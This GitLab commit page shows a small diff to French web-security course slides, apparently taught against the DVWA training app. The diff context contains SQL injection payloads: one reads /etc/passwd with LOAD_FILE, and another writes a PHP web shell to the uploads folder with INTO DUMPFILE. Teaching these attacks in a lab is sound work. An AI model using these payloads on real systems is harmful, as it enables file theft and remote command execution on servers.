Skip to content
Snippets Groups Projects
Commit fa1e64c8 authored by Vincent Mazenod's avatar Vincent Mazenod
Browse files

date

parent eb953e3c
Branches
No related tags found
No related merge requests found
Pipeline #3896 passed
......@@ -31,7 +31,7 @@ Tags: cours
* [LFI_RFI](slides/1337/fi.htm)
* [XSS](slides/1337/xss.html)
* [CSRF](slides/1337/csrf.html)
* [SQLi](slides/1337/sqli.htm)
* [SQLi](slides/1337/sqli.html)
* [Drupalgeddon](slides/1337/drupalgeddon.htm!)
### Se protéger
......
......@@ -240,7 +240,7 @@ http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/e
affiche toutes le contenu du fichier /etc/passwd
```http
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit
```
écriture du fichier shell.php dans le système de fichiers
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please to comment